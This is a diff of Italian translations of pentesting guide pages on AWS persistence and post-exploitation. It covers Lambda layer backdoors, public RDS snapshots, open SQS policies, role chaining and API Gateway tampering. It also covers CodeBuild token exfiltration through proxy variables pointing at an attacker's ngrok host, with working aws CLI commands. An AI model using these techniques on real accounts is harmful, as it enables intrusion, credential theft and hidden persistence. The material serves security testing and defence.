[https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) -È stato scoperto che il kernel Linux predefinito nell'ambiente di runtime Lambda è compilato con le chiamate di sistema “**process_vm_readv**” e “**process_vm_writev**”. E tutti i processi vengono eseguiti con lo stesso ID utente, anche il nuovo processo creato per l'estensione esterna. **Questo significa che un'estensione esterna ha accesso completo in lettura e scrittura alla memoria heap di Rapid, per design.** +È stato scoperto che il kernel Linux predefinito nell'ambiente di runtime Lambda è compilato con le chiamate di sistema “**process_vm_readv**” e “**process_vm_writev**”. E tutti i processi vengono eseguiti con lo stesso ID utente, anche il nuovo processo creato per l'estensione esterna. **Questo significa che un'estensione esterna ha pieno accesso in lettura e scrittura alla memoria heap di Rapid, per design.** Inoltre, mentre le estensioni Lambda hanno la capacità di **iscriversi agli eventi di invocazione**, AWS non rivela i dati grezzi a queste estensioni. Questo garantisce che **le estensioni non possano accedere a informazioni sensibili** trasmesse tramite la richiesta HTTP. -Il processo Init (Rapid) monitora tutte le richieste API su [http://127.0.0.1:9001](http://127.0.0.1:9001/) mentre le estensioni Lambda vengono inizializzate ed eseguite prima dell'esecuzione di qualsiasi codice di runtime, ma dopo Rapid. +Il processo Init (Rapid) monitora tutte le richieste API a [http://127.0.0.1:9001](http://127.0.0.1:9001/) mentre le estensioni Lambda vengono inizializzate ed eseguite prima dell'esecuzione di qualsiasi codice di runtime, ma dopo Rapid.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

La variabile **`AWS_LAMBDA_RUNTIME_API`** indica l'**IP** e il **numero di porta** dell'API Rapid ai **processi di runtime secondari** e alle estensioni aggiuntive. > [!WARNING] -> Cambiando la variabile d'ambiente **`AWS_LAMBDA_RUNTIME_API`** in un **`port`** a cui abbiamo accesso, è possibile intercettare tutte le azioni all'interno del runtime Lambda (**man-in-the-middle**). Questo è possibile perché l'estensione viene eseguita con gli stessi privilegi di Rapid Init, e il kernel del sistema consente la **modifica della memoria del processo**, abilitando la modifica del numero di porta. +> Cambiando la variabile ambientale **`AWS_LAMBDA_RUNTIME_API`** in un **`port`** a cui abbiamo accesso, è possibile intercettare tutte le azioni all'interno del runtime Lambda (**man-in-the-middle**). Questo è possibile perché l'estensione viene eseguita con gli stessi privilegi di Rapid Init, e il kernel del sistema consente la **modifica della memoria del processo**, abilitando la modifica del numero di porta. -Poiché **le estensioni vengono eseguite prima di qualsiasi codice di runtime**, modificare la variabile d'ambiente influenzerà il processo di runtime (ad es., Python, Java, Node, Ruby) mentre si avvia. Inoltre, **le estensioni caricate dopo** la nostra, che si basano su questa variabile, instraderanno anche attraverso la nostra estensione. Questa configurazione potrebbe consentire a malware di bypassare completamente le misure di sicurezza o le estensioni di registrazione direttamente all'interno dell'ambiente di runtime. +Poiché **le estensioni vengono eseguite prima di qualsiasi codice di runtime**, modificare la variabile ambientale influenzerà il processo di runtime (ad es., Python, Java, Node, Ruby) mentre si avvia. Inoltre, **le estensioni caricate dopo** la nostra, che si basano su questa variabile, verranno anch'esse instradate attraverso la nostra estensione. Questa configurazione potrebbe consentire a malware di bypassare completamente le misure di sicurezza o le estensioni di registrazione direttamente all'interno dell'ambiente di runtime.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index ebd5a3a1f..515b4ee22 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -1,18 +1,18 @@ -# AWS - Lambda Layers Persistence +# AWS - Persistenza delle Lambda Layers {{#include ../../../../banners/hacktricks-training.md}} ## Lambda Layers -Un layer Lambda è un archivio .zip che **può contenere codice aggiuntivo** o altro contenuto. Un layer può contenere librerie, un [runtime personalizzato](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dati o file di configurazione. +Una Lambda layer è un archivio .zip che **può contenere codice aggiuntivo** o altro contenuto. Una layer può contenere librerie, un [runtime personalizzato](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dati o file di configurazione. -È possibile includere fino a **cinque layer per funzione**. Quando includi un layer in una funzione, i **contenuti vengono estratti nella directory `/opt`** nell'ambiente di esecuzione. +È possibile includere fino a **cinque layers per funzione**. Quando includi una layer in una funzione, i **contenuti vengono estratti nella directory `/opt`** nell'ambiente di esecuzione. -Per **definizione**, i **layer** che crei sono **privati** al tuo account AWS. Puoi scegliere di **condividere** un layer con altri account o di **rendere** il layer **pubblico**. Se le tue funzioni consumano un layer pubblicato da un altro account, le tue funzioni possono **continuare a utilizzare la versione del layer dopo che è stata eliminata, o dopo che il tuo permesso di accesso al layer è stato revocato**. Tuttavia, non puoi creare una nuova funzione o aggiornare funzioni utilizzando una versione di layer eliminata. +Per **definizione**, le **layers** che crei sono **private** al tuo account AWS. Puoi scegliere di **condividere** una layer con altri account o di **rendere** la layer **pubblica**. Se le tue funzioni utilizzano una layer pubblicata da un altro account, le tue funzioni possono **continuare a utilizzare la versione della layer dopo che è stata eliminata, o dopo che il tuo permesso di accesso alla layer è stato revocato**. Tuttavia, non puoi creare una nuova funzione o aggiornare funzioni utilizzando una versione di layer eliminata. -Le funzioni distribuite come immagine del contenitore non utilizzano layer. Invece, impacchetti il tuo runtime preferito, librerie e altre dipendenze nell'immagine del contenitore quando costruisci l'immagine. +Le funzioni distribuite come immagine del contenitore non utilizzano le layers. Invece, impacchetti il tuo runtime preferito, librerie e altre dipendenze nell'immagine del contenitore quando costruisci l'immagine. -### Python load path +### Percorso di caricamento di Python Il percorso di caricamento che Python utilizzerà in lambda è il seguente: ``` @@ -31,7 +31,7 @@ Pertanto, i requisiti sono: ### Librerie pre-caricate > [!WARNING] -> Quando si abusa di questa tecnica ho trovato una difficoltà: Alcune librerie sono **già caricate** nel runtime di python quando il tuo codice viene eseguito. Mi aspettavo di trovare cose come `os` o `sys`, ma **anche la libreria `json` era caricata**.\ +> Quando abuso di questa tecnica ho trovato una difficoltà: Alcune librerie sono **già caricate** nel runtime di python quando il tuo codice viene eseguito. Mi aspettavo di trovare cose come `os` o `sys`, ma **anche la libreria `json` era caricata**.\ > Per abusare di questa tecnica di persistenza, il codice deve **caricare una nuova libreria che non è caricata** quando il codice viene eseguito. Con un codice python come questo è possibile ottenere la **lista delle librerie che sono pre-caricate** all'interno del runtime di python in lambda: @@ -52,9 +52,9 @@ E questa è la lista delle **librerie** che **lambda include installate per impo ### Backdooring del Lambda Layer -In questo esempio supponiamo che il codice target stia importando **`csv`**. Stiamo per **backdooring l'importazione della libreria `csv`**. +In questo esempio supponiamo che il codice target stia importando **`csv`**. Stiamo per **inserire un backdoor nell'importazione della libreria `csv`**. -Per fare ciò, creeremo la directory **csv** con il file **`__init__.py`** al suo interno in un percorso caricato da lambda: **`/opt/python/lib/python3.9/site-packages`**\ +Per fare ciò, creeremo la directory csv con il file **`__init__.py`** al suo interno in un percorso caricato da lambda: **`/opt/python/lib/python3.9/site-packages`**\ Poi, quando il lambda viene eseguito e cerca di caricare **csv**, il nostro **file `__init__.py` verrà caricato ed eseguito**.\ Questo file deve: @@ -83,7 +83,7 @@ import csv as _csv sys.modules["csv"] = _csv ``` -Poi, crea uno zip con questo codice nel percorso **`python/lib/python3.9/site-packages/__init__.py`** e aggiungilo come un layer lambda. +Quindi, crea uno zip con questo codice nel percorso **`python/lib/python3.9/site-packages/__init__.py`** e aggiungilo come un layer lambda. Puoi trovare questo codice in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index 91ec6b3bf..0c687794c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -18,7 +18,7 @@ aws rds modify-db-instance --db-instance-identifier target-instance --publicly-a ``` ### Crea un utente admin all'interno del DB -Un attaccante potrebbe semplicemente **creare un utente all'interno del DB** in modo che anche se la password dell'utente master viene modificata, **non perde l'accesso** al database. +Un attaccante potrebbe semplicemente **creare un utente all'interno del DB** così anche se la password dell'utente master viene modificata, **non perde l'accesso** al database. ### Rendi pubblico lo snapshot ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index 8878273e2..ead83c1be 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -12,7 +12,7 @@ Per ulteriori informazioni controlla: ### Crittografia lato client KMS -Quando il processo di crittografia è completato, l'utente utilizzerà l'API KMS per generare una nuova chiave (`aws kms generate-data-key`) e **salverà la chiave crittografata generata all'interno dei metadati** del file ([esempio di codice python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) in modo che quando si verifica la decrittazione, possa decrittarla nuovamente utilizzando KMS: +Quando il processo di crittografia è completato, l'utente utilizzerà l'API KMS per generare una nuova chiave (`aws kms generate-data-key`) e **memorizzerà la chiave crittografata generata all'interno dei metadati** del file ([esempio di codice python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) in modo che quando si verifica la decrittazione, possa decrittarla nuovamente utilizzando KMS:
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index a64d423e0..91dd16392 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -12,7 +12,7 @@ Per ulteriori informazioni controlla: ### Utilizzando la policy delle risorse -In SQS è necessario indicare con una policy IAM **chi ha accesso per leggere e scrivere**. È possibile indicare account esterni, ARN di ruoli, o **anche "\*"**.\ +In SQS è necessario indicare con una policy IAM **chi ha accesso a leggere e scrivere**. È possibile indicare account esterni, ARN di ruoli, o **anche "\*"**.\ La seguente policy consente a chiunque in AWS di accedere a tutto nella coda chiamata **MyTestQueue**: ```json { @@ -32,6 +32,6 @@ La seguente policy consente a chiunque in AWS di accedere a tutto nella coda chi } ``` > [!NOTE] -> Potresti anche **attivare un Lambda nell'account degli attaccanti ogni volta che un nuovo messaggio** viene inserito nella coda (dovresti in qualche modo reinserirlo). Per questo segui queste istruzioni: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> Potresti anche **attivare una Lambda nell'account degli attaccanti ogni volta che un nuovo messaggio** viene messo nella coda (dovresti rimetterlo) in qualche modo. Per questo segui queste istruzioni: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index bd5f9fb45..26b29d247 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -28,7 +28,7 @@ aws sts get-session-token \ ### Role Chain Juggling -[**Il chaining dei ruoli è una funzionalità riconosciuta di AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), spesso utilizzata per mantenere la persistenza stealth. Comporta la capacità di **assumere un ruolo che poi assume un altro**, potenzialmente tornando al ruolo iniziale in modo **ciclico**. Ogni volta che un ruolo viene assunto, il campo di scadenza delle credenziali viene aggiornato. Di conseguenza, se due ruoli sono configurati per assumere reciprocamente, questa configurazione consente il rinnovo perpetuo delle credenziali. +[**Il chaining dei ruoli è una funzionalità riconosciuta di AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), spesso utilizzata per mantenere una persistenza furtiva. Comporta la capacità di **assumere un ruolo che poi assume un altro**, potenzialmente tornando al ruolo iniziale in modo **ciclico**. Ogni volta che un ruolo viene assunto, il campo di scadenza delle credenziali viene aggiornato. Di conseguenza, se due ruoli sono configurati per assumere reciprocamente, questa configurazione consente il rinnovo perpetuo delle credenziali. Puoi utilizzare questo [**strumento**](https://github.com/hotnops/AWSRoleJuggler/) per mantenere attivo il chaining dei ruoli: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index 1bc7c23a8..5dd2feda1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -13,15 +13,15 @@ Per ulteriori informazioni controlla: ### Accesso a API non esposte Puoi creare un endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) con il servizio `com.amazonaws.us-east-1.execute-api`, esporre l'endpoint in una rete a cui hai accesso (potenzialmente tramite una macchina EC2) e assegnare un gruppo di sicurezza che consenta tutte le connessioni.\ -Poi, dalla macchina EC2 sarai in grado di accedere all'endpoint e quindi chiamare l'API del gateway che non era esposta prima. +Poi, dalla macchina EC2 sarai in grado di accedere all'endpoint e quindi chiamare l'API del gateway che non era stata esposta prima. -### Bypass del passaggio del corpo della richiesta +### Bypass del passthrough del corpo della richiesta -Questa tecnica è stata trovata in [**questo writeup CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). +Questa tecnica è stata trovata in [**questo CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). -Come indicato nella [**documentazione AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) nella sezione `PassthroughBehavior`, per impostazione predefinita, il valore **`WHEN_NO_MATCH`**, quando controlla l'intestazione **Content-Type** della richiesta, passerà la richiesta al back end senza trasformazione. +Come indicato nella [**documentazione AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) nella sezione `PassthroughBehavior`, per impostazione predefinita, il valore **`WHEN_NO_MATCH`**, quando controlla l'intestazione **Content-Type** della richiesta, passerà la richiesta al back end senza alcuna trasformazione. -Pertanto, nel CTF, l'API Gateway aveva un modello di integrazione che **impediva l'exfiltrazione della flag** in una risposta quando veniva inviata una richiesta con `Content-Type: application/json`: +Pertanto, nel CTF, l'API Gateway aveva un modello di integrazione che **preveniva l'exfiltrazione della flag** in una risposta quando veniva inviata una richiesta con `Content-Type: application/json`: ```yaml RequestTemplates: application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' @@ -51,7 +51,7 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Impatto Potenziale**: Fuoriuscita di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato alle risorse API. +**Impatto Potenziale**: Fuoriuscita di informazioni sensibili, esecuzione di script dannosi o accesso non autorizzato alle risorse API. > [!NOTE] > Necessita di test @@ -89,7 +89,7 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Impatto Potenziale**: Fuoriuscita di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato alle risorse API. +**Impatto Potenziale**: Perdita di informazioni sensibili, esecuzione di script dannosi o accesso non autorizzato alle risorse API. > [!NOTE] > Necessita di test @@ -106,14 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Impatto Potenziale**: Indebolimento della sicurezza dell'API, potenzialmente consentendo accessi non autorizzati o esponendo informazioni sensibili. +**Impatto Potenziale**: Indebolire la sicurezza dell'API, potenzialmente consentendo accessi non autorizzati o esponendo informazioni sensibili. > [!NOTE] > Necessita di test ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -Un attaccante con permessi `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` e `apigateway:CreateUsagePlanKey` può **creare nuove chiavi API, associarle a piani di utilizzo e poi utilizzare queste chiavi per accessi non autorizzati alle API**. +Un attaccante con permessi `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` e `apigateway:CreateUsagePlanKey` può **creare nuove chiavi API, associarle ai piani di utilizzo e poi utilizzare queste chiavi per accessi non autorizzati alle API**. ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index c910f920b..e11562f9b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -12,7 +12,7 @@ Per ulteriori informazioni, controlla: ### Controlla i Segreti -Se le credenziali sono state impostate in Codebuild per connettersi a Github, Gitlab o Bitbucket sotto forma di token personali, password o token di accesso OAuth, queste **credenziali verranno memorizzate come segreti nel gestore dei segreti**.\ +Se le credenziali sono state impostate in Codebuild per connettersi a Github, Gitlab o Bitbucket sotto forma di token personali, password o accesso token OAuth, queste **credenziali verranno memorizzate come segreti nel gestore dei segreti**.\ Pertanto, se hai accesso per leggere il gestore dei segreti, sarai in grado di ottenere questi segreti e passare alla piattaforma connessa. {{#ref}} @@ -25,9 +25,9 @@ Per configurare **CodeBuild**, avrà bisogno di **accesso al repo di codice** ch
-Il **progetto CodeBuild deve avere accesso** al provider di origine configurato, sia tramite **ruolo IAM** che con un **token github/bitbucket o accesso OAuth**. +Il **progetto CodeBuild deve avere accesso** al fornitore di sorgente configurato, sia tramite **ruolo IAM** che con un token github/bitbucket **o accesso OAuth**. -Un attaccante con **permessi elevati su un CodeBuild** potrebbe abusare di questo accesso configurato per leakare il codice del repo configurato e di altri a cui le credenziali impostate hanno accesso.\ +Un attaccante con **permessi elevati su un CodeBuild** potrebbe abusare di questo accesso configurato per leakare il codice del repo configurato e altri a cui le credenziali impostate hanno accesso.\ Per fare ciò, un attaccante dovrebbe semplicemente **cambiare l'URL del repository a ciascun repo a cui le credenziali di configurazione hanno accesso** (nota che il web di aws elencherà tutti per te):
@@ -63,7 +63,7 @@ Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse di C aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys ``` -**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo degli accessi basate sui tag. +**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo degli accessi basate su tag. ### `codebuild:DeleteSourceCredentials` @@ -71,6 +71,6 @@ Un attaccante potrebbe eliminare le credenziali di origine per un repository Git ```sql aws codebuild delete-source-credentials --arn ``` -**Impatto Potenziale**: Interruzione del normale funzionamento delle applicazioni che dipendono dal repository interessato a causa della rimozione delle credenziali sorgente. +**Impatto Potenziale**: Interruzione del normale funzionamento delle applicazioni che si basano sul repository interessato a causa della rimozione delle credenziali di origine. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index b3449d30c..e26ae092d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Recupera i Token Configurati di Github/Bitbucket +## Recuperare i Token Configurati di Github/Bitbucket Prima di tutto, controlla se ci sono credenziali di origine configurate che potresti leak: ```bash @@ -10,7 +10,7 @@ aws codebuild list-source-credentials ``` ### Via Docker Image -Se scopri che l'autenticazione, ad esempio su Github, è impostata nell'account, puoi **esfiltrare** quell'**accesso** (**token GH o token OAuth**) facendo in modo che Codebuild **utilizzi un'immagine docker specifica** per eseguire la build del progetto. +Se scopri che l'autenticazione, ad esempio, a Github è impostata nell'account, puoi **esfiltrare** quell'**accesso** (**token GH o token OAuth**) facendo in modo che Codebuild **utilizzi un'immagine docker specifica** per eseguire la build del progetto. A questo scopo potresti **creare un nuovo progetto Codebuild** o modificare l'**ambiente** di uno esistente per impostare l'**immagine Docker**. @@ -20,7 +20,7 @@ L'immagine Docker che potresti utilizzare è [https://github.com/carlospolop/doc - Segui le istruzioni del repo per impostare il tuo indirizzo IP proxy e impostare il tuo certificato SSL e **costruire l'immagine docker**. - **NON IMPOSTARE `http_proxy`** per non intercettare le richieste all'endpoint dei metadati. - Potresti usare **`ngrok`** come `ngrok tcp 4444` per impostare il proxy sul tuo host. -- Una volta che hai costruito l'immagine Docker, **caricala su un repo pubblico** (Dockerhub, ECR...) +- Una volta che hai costruito l'immagine Docker, **caricala in un repo pubblico** (Dockerhub, ECR...) 2. **Imposta l'ambiente** - Crea un **nuovo progetto Codebuild** o **modifica** l'ambiente di uno esistente. - Imposta il progetto per utilizzare l'**immagine Docker precedentemente generata**. @@ -29,7 +29,7 @@ L'immagine Docker che potresti utilizzare è [https://github.com/carlospolop/doc 3. **Imposta il proxy MitM nel tuo host** -- Come indicato nel **repo Github**, potresti usare qualcosa come: +- Come indicato nel **repo di Github**, potresti usare qualcosa come: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` @@ -74,13 +74,13 @@ aws codebuild start-build --project-name my-project2 ### Via insecureSSL I progetti **Codebuild** hanno un'impostazione chiamata **`insecureSsl`** che è nascosta nel web e puoi cambiarla solo dall'API.\ -Abilitando questo, consente a Codebuild di connettersi al repository **senza controllare il certificato** offerto dalla piattaforma. +Abilitando questo, permette a Codebuild di connettersi al repository **senza controllare il certificato** offerto dalla piattaforma. - Prima devi enumerare la configurazione attuale con qualcosa come: ```bash aws codebuild batch-get-projects --name ``` -- Quindi, con le informazioni raccolte, puoi aggiornare l'impostazione del progetto **`insecureSsl`** a **`True`**. Di seguito è riportato un esempio del mio aggiornamento di un progetto, nota il **`insecureSsl=True`** alla fine (questo è l'unica cosa che devi cambiare dalla configurazione raccolta). +- Quindi, con le informazioni raccolte puoi aggiornare l'impostazione del progetto **`insecureSsl`** a **`True`**. Di seguito è riportato un esempio del mio aggiornamento di un progetto, nota il **`insecureSsl=True`** alla fine (questo è l'unica cosa che devi cambiare dalla configurazione raccolta). - Inoltre, aggiungi anche le variabili d'ambiente **http_proxy** e **https_proxy** che puntano al tuo tcp ngrok come: ```bash aws codebuild update-project --name \ @@ -136,7 +136,7 @@ mitm.run() > [!TIP] > **Questa vulnerabilità è stata corretta da AWS in qualche momento della settimana del 20 febbraio 2023 (penso venerdì). Quindi un attaccante non può più abusarne :)** -Un attaccante con **permessi elevati su un CodeBuild potrebbe leakare il token Github/Bitbucket** configurato o se i permessi sono stati configurati tramite OAuth, il **token OAuth temporaneo utilizzato per accedere al codice**. +Un attaccante con **permessi elevati su un CodeBuild potrebbe rivelare il token Github/Bitbucket** configurato o se i permessi sono stati configurati tramite OAuth, il **token OAuth temporaneo utilizzato per accedere al codice**. - Un attaccante potrebbe aggiungere le variabili ambientali **http_proxy** e **https_proxy** al progetto CodeBuild puntando alla sua macchina (ad esempio `http://5.tcp.eu.ngrok.io:14972`). diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md index 88295b03d..428591b60 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md @@ -1,16 +1,16 @@ -# AWS - Control Tower Post Exploitation +# AWS - Controllo Torre Post Sfruttamento {{#include ../../../banners/hacktricks-training.md}} -## Control Tower +## Controllo Torre {{#ref}} ../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md {{#endref}} -### Abilitare / Disabilitare Controlli +### Abilita / Disabilita Controlli -Per sfruttare ulteriormente un account, potrebbe essere necessario disabilitare/abilitare i controlli di Control Tower: +Per sfruttare ulteriormente un account, potresti dover disabilitare/abilitare i controlli di Control Tower: ```bash aws controltower disable-control --control-identifier --target-identifier aws controltower enable-control --control-identifier --target-identifier diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index fb1be559d..a1323fc3b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -12,11 +12,11 @@ Innanzitutto, si utilizzerà un comando per raccogliere informazioni sui volumi, `aws ec2 describe-volumes` -In secondo luogo, si creerà la policy di ciclo di vita. Questo comando utilizza l'API DLM per impostare una policy di ciclo di vita che esegue automaticamente snapshot giornalieri dei volumi specificati a un orario designato. Applica anche tag specifici agli snapshot e copia i tag dai volumi agli snapshot. Il file policyDetails.json include i dettagli della policy di ciclo di vita, come tag target, programma, l'ARN della chiave KMS opzionale per la crittografia e l'account target per la condivisione degli snapshot, che verranno registrati nei log di CloudTrail della vittima. +In secondo luogo, si creerà la policy di lifecycle. Questo comando utilizza l'API DLM per impostare una policy di lifecycle che prende automaticamente snapshot giornalieri dei volumi specificati a un orario designato. Applica anche tag specifici agli snapshot e copia i tag dai volumi agli snapshot. Il file policyDetails.json include i dettagli della policy di lifecycle, come tag target, programma, l'ARN della chiave KMS opzionale per la crittografia e l'account target per la condivisione degli snapshot, che saranno registrati nei log di CloudTrail della vittima. ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` -Un modello per il documento della policy può essere visto qui: +Un modello per il documento di policy può essere visto qui: ```bash { "PolicyType": "EBS_SNAPSHOT_MANAGEMENT", diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index 6dd006ffc..39c363978 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -12,7 +12,7 @@ Per ulteriori informazioni controlla: ### `dynamodb:BatchGetItem` -Un attaccante con questi permessi sarà in grado di **ottenere elementi dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenere queste informazioni recuperando i metadati della tabella (`describe-table`). +Un attaccante con questi permessi sarà in grado di **ottenere elementi dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenerle recuperando i metadati della tabella (`describe-table`). {{#tabs }} {{#tab name="json file" }} @@ -47,7 +47,7 @@ aws dynamodb batch-get-item \ ### `dynamodb:GetItem` -**Simile ai permessi precedenti** questo consente a un potenziale attaccante di leggere valori da solo 1 tabella dato la chiave primaria dell'elemento da recuperare: +**Simile ai permessi precedenti** questo consente a un potenziale attaccante di leggere valori da una sola tabella dato la chiave primaria dell'elemento da recuperare: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -79,7 +79,7 @@ aws dynamodb transact-get-items \ ### `dynamodb:Query` -**Simile ai permessi precedenti** questo consente a un potenziale attaccante di leggere valori da solo 1 tabella dato la chiave primaria dell'entrata da recuperare. Consente di utilizzare un [sottoinsieme di confronti](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve apparire) è "EQ", quindi non puoi utilizzare un confronto per ottenere l'intero DB in una richiesta. +**Simile ai 